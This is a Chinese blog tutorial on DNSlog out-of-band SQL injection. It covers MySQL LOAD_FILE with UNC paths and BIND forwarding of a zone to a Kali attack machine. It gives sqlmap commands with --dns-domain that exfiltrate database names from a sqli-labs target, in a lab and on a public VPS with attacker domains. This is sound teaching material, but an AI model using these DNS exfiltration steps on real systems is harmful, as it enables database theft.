SQL注入之搭建dnslog

利用DNSlog进行注入

原理

  • 利用DNS解析记录,如果在指定dns服务器上尝试查询解析,那么就会留下查询内容。如果该dns是恶意用户搭建的dns服务器,那么就有权限查询记录内容,而记录内容刚好是由数据库内容构成,那么就达到了dns注入数据库的目的。
    在这里插入图片描述
  • 我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

前置条件

secure_file_priv

  • 在MySQL中有个系统属性,secure_file_priv特性,通过该特性,mysql可以读写系统文件。当secure_file_privnull时,表示不允许读写文件,secure_file_priv指定文件夹时,表示mysql的读写只能发生在指定的文件夹,secure_file_priv没有设置时,则表示没有任何限制。
    在这里插入图片描述

  • 只有目标主机该变量为空时,我们才可以进行dnslog注入。如果需要在本地测试需要修改MySQL配置文件:my.ini
    在这里插入图片描述

  • MySQL函数:LOAD_FILE():读取一个文件并将其内容作为字符串返回,语法:load_file(文件的完整路径)
    在这里插入图片描述

  • 注意写路径时需要对\进行转义

远程共享文件

  • 如果目标主机为windows,且开启了445端口(用于访问远程的共享文件),mysql就可以通过UNC路径访问远程文件。格式为\\servername\sharename, servername 是服务器名,sharename 是共享资源的名称。
    在这里插入图片描述
  • 输入的severname通常是域名,会通过DNS解析,访问远程的DNS服务器就会留下解析日志

本地dnslog测试

  • 可以利用在线的dnslog平台,这里说一下如何在本地进行dnslog测试

环境
三台主机:一台win10主机、两台Linux虚拟机分别是centos8和kali
其中win10作为靶机,搭建sqllab靶场,并启动http服务,IP为192.168.204.1
centos8是win10的本地DNS服务器,IP为192.168.204.3
kali为攻击机,IP为192.168.204.105

centos8上搭建DNS服务

  • 提供DNS服务的软件叫bind,服务名是named。yum install bind
  • named的配置文件为etc/named.conf
options {
#	定义监听端口和地址,如果所有地址都监听,写any
	listen-on-port 53 {any; }; 
# 	定义数据目录,就是dns解析文件所在的目录
	directory "/var/named";
#   定义允许查询的之际,所有主机都可查询则为any
	allow-query {any; };
#	允许递归,本次实验中必须允许递归
	recursion yes;
};
# 区域定义,本次测试中可以没有
zone "xxxx.com" IN {
#	定义DNS服务器类型,主或从
	type master;
#	 定义区域数据文件,dns解析文件
	file "named.xxxx.co,"
};
# 配置转发器...

  • 当本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发器)进行查询。未设置转发器:本地DNS就把请求发至13台根DNS;如果设置了转发器,则将请求转发至设置的目标DNS服务器。

  • 转发器有全局转发器和局部转发器:全局转发器即对所有请求都为转发模式;局部转发器为对特定域名的解析请求为转发模式,其他的请求依然被发送给根服务器。

  • 这里需要将某个域名的解析请求全部转发给攻击机kail上

# 配置局部转发器,pw.top域的DNS请求全部转发给192.168.204.105,也就是kali
 zone "pw.top" IN {
    type forward;
    forwarders {192.168.204.105; };
    forward only;
 };
  • centos8启动DNS服务:systemctl start named

通过sqlmap进行dns注入

  • 首先测试kali是否可以收到请求,在kail中输入tcpdump -n port 53,在测试之前要将win10主机的DNS服务器指定为我们搭建的DNS服务器
    在这里插入图片描述

Tcpdum是Linux上强大的网络数据采集分析工具,
-n 不要将主机地址转换为名称。这可以用来避免DNS查找
port 53 指明分析53端口的数据包

  • win10打开cmd,pingxx.pw.top,xx为任意,centos遇到解析pw.top的请求就会转发给kali,如下图中有数据说明kali收到请求
    在这里插入图片描述

  • 在kali使用sqlmap进行注入,sqlmap -u "http://192.168.204.1/web-security/sqli-labs-master/Less-9/index.php?id=1" --technique=T --dns-domain "pw.top" --dbs
    在这里插入图片描述
    在这里插入图片描述

  • sqlmap使用–dns-domain参数时候会监听53端口,我们需要把我们获得数据所使用的域名的dns服务器配置到我们运行sqlmap的主机,就可以获得dns外带的数据。

公网dnslog搭建

  • sqlmap使用–dns-domain参数时候会监听53端口,监听请求,所以运行sqlmap的主机需要一个域名,因为配置dns服务器的时候也需要dns,所以我们需要两个域名。
  • 这里我有两个域名:telff.ccaornnroa.fun,还有一台vps,其IP为120.27.136.45
  • 配置我们的用于解析dns的nameserver的域名ns1.telff.cc,ns2.telff.cc指向我们运行sqlmap的主机ip
    在这里插入图片描述
  • 配置我们用于外带数据的域名aornnroa.fun的域名服务器为ns1.telff.ccns2.telff.cc
    在这里插入图片描述
  • 我们在vps上执行:sqlmap -u "http://xxxxxx/web-security/sqli-labs-master/Less-9/index.php?id=1" --dns-domain "aornnroa.fun" --dbs,就可以看到可以看到sqlmap执行返回的数据了,由于我的靶场没有布置在公网中,所以不演示最后的注入了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值